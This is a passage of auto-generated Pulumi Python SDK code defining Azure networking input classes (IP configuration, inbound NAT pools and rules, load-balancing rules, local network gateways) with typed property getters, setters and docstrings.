private_ip_allocation_method: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_ip_address: Optional[pulumi.Input['PublicIPAddressArgs']] = None,
subnet: Optional[pulumi.Input['SubnetArgs']] = None):
"""
IPConfiguration
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] private_ip_address: Gets or sets the privateIPAddress of the IP Configuration
:param pulumi.Input[Union[str, 'IPAllocationMethod']] private_ip_allocation_method: Gets or sets PrivateIP allocation method (Static/Dynamic)
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input['PublicIPAddressArgs'] public_ip_address: Gets or sets the reference of the PublicIP resource
:param pulumi.Input['SubnetArgs'] subnet: Gets or sets the reference of the subnet resource
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if private_ip_address is not None:
pulumi.set(__self__, "private_ip_address", private_ip_address)
if private_ip_allocation_method is not None:
pulumi.set(__self__, "private_ip_allocation_method", private_ip_allocation_method)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if public_ip_address is not None:
pulumi.set(__self__, "public_ip_address", public_ip_address)
if subnet is not None:
pulumi.set(__self__, "subnet", subnet)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="privateIPAddress")
def private_ip_address(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the privateIPAddress of the IP Configuration
"""
return pulumi.get(self, "private_ip_address")
@private_ip_address.setter
def private_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_ip_address", value)
@property
@pulumi.getter(name="privateIPAllocationMethod")
def private_ip_allocation_method(self) -> Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]:
"""
Gets or sets PrivateIP allocation method (Static/Dynamic)
"""
return pulumi.get(self, "private_ip_allocation_method")
@private_ip_allocation_method.setter
def private_ip_allocation_method(self, value: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]):
pulumi.set(self, "private_ip_allocation_method", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="publicIPAddress")
def public_ip_address(self) -> Optional[pulumi.Input['PublicIPAddressArgs']]:
"""
Gets or sets the reference of the PublicIP resource
"""
return pulumi.get(self, "public_ip_address")
@public_ip_address.setter
def public_ip_address(self, value: Optional[pulumi.Input['PublicIPAddressArgs']]):
pulumi.set(self, "public_ip_address", value)
@property
@pulumi.getter
def subnet(self) -> Optional[pulumi.Input['SubnetArgs']]:
"""
Gets or sets the reference of the subnet resource
"""
return pulumi.get(self, "subnet")
@subnet.setter
def subnet(self, value: Optional[pulumi.Input['SubnetArgs']]):
pulumi.set(self, "subnet", value)
@pulumi.input_type
class InboundNatPoolArgs:
def __init__(__self__, *,
backend_port: pulumi.Input[int],
frontend_port_range_end: pulumi.Input[int],
frontend_port_range_start: pulumi.Input[int],
protocol: pulumi.Input[Union[str, 'TransportProtocol']],
etag: Optional[pulumi.Input[str]] = None,
frontend_ip_configuration: Optional[pulumi.Input['SubResourceArgs']] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Inbound NAT pool of the loadbalancer
:param pulumi.Input[int] backend_port: Gets or sets a port used for internal connections on the endpoint. The localPort attribute maps the eternal port of the endpoint to an internal port on a role. This is useful in scenarios where a role must communicate to an internal component on a port that is different from the one that is exposed externally. If not specified, the value of localPort is the same as the port attribute. Set the value of localPort to '*' to automatically assign an unallocated port that is discoverable using the runtime API
:param pulumi.Input[int] frontend_port_range_end: Gets or sets the ending port range for the NAT pool. You can specify any port number you choose, but the port numbers specified for each role in the service must be unique. Possible values range between 1 and 65535, inclusive
:param pulumi.Input[int] frontend_port_range_start: Gets or sets the starting port range for the NAT pool. You can specify any port number you choose, but the port numbers specified for each role in the service must be unique. Possible values range between 1 and 65535, inclusive
:param pulumi.Input[Union[str, 'TransportProtocol']] protocol: Gets or sets the transport protocol for the external endpoint. Possible values are Udp or Tcp
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input['SubResourceArgs'] frontend_ip_configuration: Gets or sets a reference to frontend IP Addresses
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
pulumi.set(__self__, "backend_port", backend_port)
pulumi.set(__self__, "frontend_port_range_end", frontend_port_range_end)
pulumi.set(__self__, "frontend_port_range_start", frontend_port_range_start)
pulumi.set(__self__, "protocol", protocol)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if frontend_ip_configuration is not None:
pulumi.set(__self__, "frontend_ip_configuration", frontend_ip_configuration)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="backendPort")
def backend_port(self) -> pulumi.Input[int]:
"""
Gets or sets a port used for internal connections on the endpoint. The localPort attribute maps the eternal port of the endpoint to an internal port on a role. This is useful in scenarios where a role must communicate to an internal component on a port that is different from the one that is exposed externally. If not specified, the value of localPort is the same as the port attribute. Set the value of localPort to '*' to automatically assign an unallocated port that is discoverable using the runtime API
"""
return pulumi.get(self, "backend_port")
@backend_port.setter
def backend_port(self, value: pulumi.Input[int]):
pulumi.set(self, "backend_port", value)
@property
@pulumi.getter(name="frontendPortRangeEnd")
def frontend_port_range_end(self) -> pulumi.Input[int]:
"""
Gets or sets the ending port range for the NAT pool. You can specify any port number you choose, but the port numbers specified for each role in the service must be unique. Possible values range between 1 and 65535, inclusive
"""
return pulumi.get(self, "frontend_port_range_end")
@frontend_port_range_end.setter
def frontend_port_range_end(self, value: pulumi.Input[int]):
pulumi.set(self, "frontend_port_range_end", value)
@property
@pulumi.getter(name="frontendPortRangeStart")
def frontend_port_range_start(self) -> pulumi.Input[int]:
"""
Gets or sets the starting port range for the NAT pool. You can specify any port number you choose, but the port numbers specified for each role in the service must be unique. Possible values range between 1 and 65535, inclusive
"""
return pulumi.get(self, "frontend_port_range_start")
@frontend_port_range_start.setter
def frontend_port_range_start(self, value: pulumi.Input[int]):
pulumi.set(self, "frontend_port_range_start", value)
@property
@pulumi.getter
def protocol(self) -> pulumi.Input[Union[str, 'TransportProtocol']]:
"""
Gets or sets the transport protocol for the external endpoint. Possible values are Udp or Tcp
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: pulumi.Input[Union[str, 'TransportProtocol']]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter(name="frontendIPConfiguration")
def frontend_ip_configuration(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets a reference to frontend IP Addresses
"""
return pulumi.get(self, "frontend_ip_configuration")
@frontend_ip_configuration.setter
def frontend_ip_configuration(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "frontend_ip_configuration", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class InboundNatRuleArgs:
def __init__(__self__, *,
backend_ip_configuration: Optional[pulumi.Input['NetworkInterfaceIPConfigurationArgs']] = None,
backend_port: Optional[pulumi.Input[int]] = None,
enable_floating_ip: Optional[pulumi.Input[bool]] = None,
etag: Optional[pulumi.Input[str]] = None,
frontend_ip_configuration: Optional[pulumi.Input['SubResourceArgs']] = None,
frontend_port: Optional[pulumi.Input[int]] = None,
id: Optional[pulumi.Input[str]] = None,
idle_timeout_in_minutes: Optional[pulumi.Input[int]] = None,
name: Optional[pulumi.Input[str]] = None,
protocol: Optional[pulumi.Input[Union[str, 'TransportProtocol']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Inbound NAT rule of the loadbalancer
:param pulumi.Input['NetworkInterfaceIPConfigurationArgs'] backend_ip_configuration: Gets or sets a reference to a private ip address defined on a NetworkInterface of a VM. Traffic sent to frontendPort of each of the frontendIPConfigurations is forwarded to the backed IP
:param pulumi.Input[int] backend_port: Gets or sets a port used for internal connections on the endpoint. The localPort attribute maps the eternal port of the endpoint to an internal port on a role. This is useful in scenarios where a role must communicate to an internal component on a port that is different from the one that is exposed externally. If not specified, the value of localPort is the same as the port attribute. Set the value of localPort to '*' to automatically assign an unallocated port that is discoverable using the runtime API
:param pulumi.Input[bool] enable_floating_ip: Configures a virtual machine's endpoint for the floating IP capability required to configure a SQL AlwaysOn availability Group. This setting is required when using the SQL Always ON availability Groups in SQL server. This setting can't be changed after you create the endpoint
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input['SubResourceArgs'] frontend_ip_configuration: Gets or sets a reference to frontend IP Addresses
:param pulumi.Input[int] frontend_port: Gets or sets the port for the external endpoint. You can specify any port number you choose, but the port numbers specified for each role in the service must be unique. Possible values range between 1 and 65535, inclusive
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[int] idle_timeout_in_minutes: Gets or sets the timeout for the Tcp idle connection. The value can be set between 4 and 30 minutes. The default value is 4 minutes. This element is only used when the protocol is set to Tcp
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[Union[str, 'TransportProtocol']] protocol: Gets or sets the transport protocol for the external endpoint. Possible values are Udp or Tcp
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
if backend_ip_configuration is not None:
pulumi.set(__self__, "backend_ip_configuration", backend_ip_configuration)
if backend_port is not None:
pulumi.set(__self__, "backend_port", backend_port)
if enable_floating_ip is not None:
pulumi.set(__self__, "enable_floating_ip", enable_floating_ip)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if frontend_ip_configuration is not None:
pulumi.set(__self__, "frontend_ip_configuration", frontend_ip_configuration)
if frontend_port is not None:
pulumi.set(__self__, "frontend_port", frontend_port)
if id is not None:
pulumi.set(__self__, "id", id)
if idle_timeout_in_minutes is not None:
pulumi.set(__self__, "idle_timeout_in_minutes", idle_timeout_in_minutes)
if name is not None:
pulumi.set(__self__, "name", name)
if protocol is not None:
pulumi.set(__self__, "protocol", protocol)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="backendIPConfiguration")
def backend_ip_configuration(self) -> Optional[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]:
"""
Gets or sets a reference to a private ip address defined on a NetworkInterface of a VM. Traffic sent to frontendPort of each of the frontendIPConfigurations is forwarded to the backed IP
"""
return pulumi.get(self, "backend_ip_configuration")
@backend_ip_configuration.setter
def backend_ip_configuration(self, value: Optional[pulumi.Input['NetworkInterfaceIPConfigurationArgs']]):
pulumi.set(self, "backend_ip_configuration", value)
@property
@pulumi.getter(name="backendPort")
def backend_port(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets a port used for internal connections on the endpoint. The localPort attribute maps the eternal port of the endpoint to an internal port on a role. This is useful in scenarios where a role must communicate to an internal component on a port that is different from the one that is exposed externally. If not specified, the value of localPort is the same as the port attribute. Set the value of localPort to '*' to automatically assign an unallocated port that is discoverable using the runtime API
"""
return pulumi.get(self, "backend_port")
@backend_port.setter
def backend_port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "backend_port", value)
@property
@pulumi.getter(name="enableFloatingIP")
def enable_floating_ip(self) -> Optional[pulumi.Input[bool]]:
"""
Configures a virtual machine's endpoint for the floating IP capability required to configure a SQL AlwaysOn availability Group. This setting is required when using the SQL Always ON availability Groups in SQL server. This setting can't be changed after you create the endpoint
"""
return pulumi.get(self, "enable_floating_ip")
@enable_floating_ip.setter
def enable_floating_ip(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable_floating_ip", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter(name="frontendIPConfiguration")
def frontend_ip_configuration(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets a reference to frontend IP Addresses
"""
return pulumi.get(self, "frontend_ip_configuration")
@frontend_ip_configuration.setter
def frontend_ip_configuration(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "frontend_ip_configuration", value)
@property
@pulumi.getter(name="frontendPort")
def frontend_port(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the port for the external endpoint. You can specify any port number you choose, but the port numbers specified for each role in the service must be unique. Possible values range between 1 and 65535, inclusive
"""
return pulumi.get(self, "frontend_port")
@frontend_port.setter
def frontend_port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "frontend_port", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="idleTimeoutInMinutes")
def idle_timeout_in_minutes(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the timeout for the Tcp idle connection. The value can be set between 4 and 30 minutes. The default value is 4 minutes. This element is only used when the protocol is set to Tcp
"""
return pulumi.get(self, "idle_timeout_in_minutes")
@idle_timeout_in_minutes.setter
def idle_timeout_in_minutes(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "idle_timeout_in_minutes", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def protocol(self) -> Optional[pulumi.Input[Union[str, 'TransportProtocol']]]:
"""
Gets or sets the transport protocol for the external endpoint. Possible values are Udp or Tcp
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: Optional[pulumi.Input[Union[str, 'TransportProtocol']]]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class LoadBalancingRuleArgs:
def __init__(__self__, *,
frontend_port: pulumi.Input[int],
protocol: pulumi.Input[Union[str, 'TransportProtocol']],
backend_address_pool: Optional[pulumi.Input['SubResourceArgs']] = None,
backend_port: Optional[pulumi.Input[int]] = None,
enable_floating_ip: Optional[pulumi.Input[bool]] = None,
etag: Optional[pulumi.Input[str]] = None,
frontend_ip_configuration: Optional[pulumi.Input['SubResourceArgs']] = None,
id: Optional[pulumi.Input[str]] = None,
idle_timeout_in_minutes: Optional[pulumi.Input[int]] = None,
load_distribution: Optional[pulumi.Input[Union[str, 'LoadDistribution']]] = None,
name: Optional[pulumi.Input[str]] = None,
probe: Optional[pulumi.Input['SubResourceArgs']] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Rules of the load balancer
:param pulumi.Input[int] frontend_port: Gets or sets the port for the external endpoint. You can specify any port number you choose, but the port numbers specified for each role in the service must be unique. Possible values range between 1 and 65535, inclusive
:param pulumi.Input[Union[str, 'TransportProtocol']] protocol: Gets or sets the transport protocol for the external endpoint. Possible values are Udp or Tcp
:param pulumi.Input['SubResourceArgs'] backend_address_pool: Gets or sets a reference to a pool of DIPs. Inbound traffic is randomly load balanced across IPs in the backend IPs
:param pulumi.Input[int] backend_port: Gets or sets a port used for internal connections on the endpoint. The localPort attribute maps the eternal port of the endpoint to an internal port on a role. This is useful in scenarios where a role must communicate to an internal component on a port that is different from the one that is exposed externally. If not specified, the value of localPort is the same as the port attribute. Set the value of localPort to '*' to automatically assign an unallocated port that is discoverable using the runtime API
:param pulumi.Input[bool] enable_floating_ip: Configures a virtual machine's endpoint for the floating IP capability required to configure a SQL AlwaysOn availability Group. This setting is required when using the SQL Always ON availability Groups in SQL server. This setting can't be changed after you create the endpoint
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input['SubResourceArgs'] frontend_ip_configuration: Gets or sets a reference to frontend IP Addresses
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[int] idle_timeout_in_minutes: Gets or sets the timeout for the Tcp idle connection. The value can be set between 4 and 30 minutes. The default value is 4 minutes. This element is only used when the protocol is set to Tcp
:param pulumi.Input[Union[str, 'LoadDistribution']] load_distribution: Gets or sets the load distribution policy for this rule
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input['SubResourceArgs'] probe: Gets or sets the reference of the load balancer probe used by the Load Balancing rule.
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
pulumi.set(__self__, "frontend_port", frontend_port)
pulumi.set(__self__, "protocol", protocol)
if backend_address_pool is not None:
pulumi.set(__self__, "backend_address_pool", backend_address_pool)
if backend_port is not None:
pulumi.set(__self__, "backend_port", backend_port)
if enable_floating_ip is not None:
pulumi.set(__self__, "enable_floating_ip", enable_floating_ip)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if frontend_ip_configuration is not None:
pulumi.set(__self__, "frontend_ip_configuration", frontend_ip_configuration)
if id is not None:
pulumi.set(__self__, "id", id)
if idle_timeout_in_minutes is not None:
pulumi.set(__self__, "idle_timeout_in_minutes", idle_timeout_in_minutes)
if load_distribution is not None:
pulumi.set(__self__, "load_distribution", load_distribution)
if name is not None:
pulumi.set(__self__, "name", name)
if probe is not None:
pulumi.set(__self__, "probe", probe)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="frontendPort")
def frontend_port(self) -> pulumi.Input[int]:
"""
Gets or sets the port for the external endpoint. You can specify any port number you choose, but the port numbers specified for each role in the service must be unique. Possible values range between 1 and 65535, inclusive
"""
return pulumi.get(self, "frontend_port")
@frontend_port.setter
def frontend_port(self, value: pulumi.Input[int]):
pulumi.set(self, "frontend_port", value)
@property
@pulumi.getter
def protocol(self) -> pulumi.Input[Union[str, 'TransportProtocol']]:
"""
Gets or sets the transport protocol for the external endpoint. Possible values are Udp or Tcp
"""
return pulumi.get(self, "protocol")
@protocol.setter
def protocol(self, value: pulumi.Input[Union[str, 'TransportProtocol']]):
pulumi.set(self, "protocol", value)
@property
@pulumi.getter(name="backendAddressPool")
def backend_address_pool(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets a reference to a pool of DIPs. Inbound traffic is randomly load balanced across IPs in the backend IPs
"""
return pulumi.get(self, "backend_address_pool")
@backend_address_pool.setter
def backend_address_pool(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "backend_address_pool", value)
@property
@pulumi.getter(name="backendPort")
def backend_port(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets a port used for internal connections on the endpoint. The localPort attribute maps the eternal port of the endpoint to an internal port on a role. This is useful in scenarios where a role must communicate to an internal component on a port that is different from the one that is exposed externally. If not specified, the value of localPort is the same as the port attribute. Set the value of localPort to '*' to automatically assign an unallocated port that is discoverable using the runtime API
"""
return pulumi.get(self, "backend_port")
@backend_port.setter
def backend_port(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "backend_port", value)
@property
@pulumi.getter(name="enableFloatingIP")
def enable_floating_ip(self) -> Optional[pulumi.Input[bool]]:
"""
Configures a virtual machine's endpoint for the floating IP capability required to configure a SQL AlwaysOn availability Group. This setting is required when using the SQL Always ON availability Groups in SQL server. This setting can't be changed after you create the endpoint
"""
return pulumi.get(self, "enable_floating_ip")
@enable_floating_ip.setter
def enable_floating_ip(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable_floating_ip", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter(name="frontendIPConfiguration")
def frontend_ip_configuration(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets a reference to frontend IP Addresses
"""
return pulumi.get(self, "frontend_ip_configuration")
@frontend_ip_configuration.setter
def frontend_ip_configuration(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "frontend_ip_configuration", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="idleTimeoutInMinutes")
def idle_timeout_in_minutes(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the timeout for the Tcp idle connection. The value can be set between 4 and 30 minutes. The default value is 4 minutes. This element is only used when the protocol is set to Tcp
"""
return pulumi.get(self, "idle_timeout_in_minutes")
@idle_timeout_in_minutes.setter
def idle_timeout_in_minutes(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "idle_timeout_in_minutes", value)
@property
@pulumi.getter(name="loadDistribution")
def load_distribution(self) -> Optional[pulumi.Input[Union[str, 'LoadDistribution']]]:
"""
Gets or sets the load distribution policy for this rule
"""
return pulumi.get(self, "load_distribution")
@load_distribution.setter
def load_distribution(self, value: Optional[pulumi.Input[Union[str, 'LoadDistribution']]]):
pulumi.set(self, "load_distribution", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def probe(self) -> Optional[pulumi.Input['SubResourceArgs']]:
"""
Gets or sets the reference of the load balancer probe used by the Load Balancing rule.
"""
return pulumi.get(self, "probe")
@probe.setter
def probe(self, value: Optional[pulumi.Input['SubResourceArgs']]):
pulumi.set(self, "probe", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class LocalNetworkGatewayArgs:
def __init__(__self__, *,
bgp_settings: Optional[pulumi.Input['BgpSettingsArgs']] = None,
etag: Optional[pulumi.Input[str]] = None,
gateway_ip_address: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
local_network_address_space: Optional[pulumi.Input['AddressSpaceArgs']] = None,
location: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
resource_guid: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
A common class for general resource information
:param pulumi.Input['BgpSettingsArgs'] bgp_settings: Local network gateway's BGP speaker settings
:param pulumi.Input[str] etag: Gets a unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] gateway_ip_address: IP address of local network gateway.
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input['AddressSpaceArgs'] local_network_address_space: Local network site Address space
:param pulumi.Input[str] location: Resource location
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the LocalNetworkGateway resource Updating/Deleting/Failed
:param pulumi.Input[str] resource_guid: Gets or sets resource GUID property of the LocalNetworkGateway resource
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Resource tags
"""
if bgp_settings is not None:
pulumi.set(__self__, "bgp_settings", bgp_settings)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if gateway_ip_address is not None:
pulumi.set(__self__, "gateway_ip_address", gateway_ip_address)
if id is not None:
pulumi.set(__self__, "id", id)
if local_network_address_space is not None:
pulumi.set(__self__, "local_network_address_space", local_network_address_space)
if location is not None:
pulumi.set(__self__, "location", location)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if resource_guid is not None:
pulumi.set(__self__, "resource_guid", resource_guid)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter(name="bgpSettings")
def bgp_settings(self) -> Optional[pulumi.Input['BgpSettingsArgs']]:
"""
Local network gateway's BGP speaker settings
"""
return pulumi.get(self, "bgp_settings")
@bgp_settings.setter
def bgp_settings(self, value: Optional[pulumi.Input['BgpSettingsArgs']]):
pulumi.set(self, "bgp_settings", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
Gets a unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter(name="gatewayIpAddress")
def gateway_ip_address(self) -> Optional[pulumi.Input[str]]:
"""
IP address of local network gateway.
"""
return pulumi.get(self, "gateway_ip_address")
@gateway_ip_address.setter
def gateway_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "gateway_ip_address", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="localNetworkAddressSpace")
def local_network_address_space(self) -> Optional[pulumi.Input['AddressSpaceArgs']]:
"""
Local network site Address space
"""
return pulumi.get(self, "local_network_address_space")
@local_network_address_space.setter
def local_network_address_space(self, value: Optional[pulumi.Input['AddressSpaceArgs']]):
pulumi.set(self, "local_network_address_space", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Resource location
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the LocalNetworkGateway resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="resourceGuid")
def resource_guid(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets resource GUID property of the LocalNetworkGateway resource
"""
return pulumi.get(self, "resource_guid")
@resource_guid.setter
def resource_guid(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_guid", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Resource tags
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class NetworkInterfaceArgs:
def __init__(__self__, *,
dns_settings: Optional[pulumi.Input['NetworkInterfaceDnsSettingsArgs']] = None,
enable_ip_forwarding: Optional[pulumi.Input[bool]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
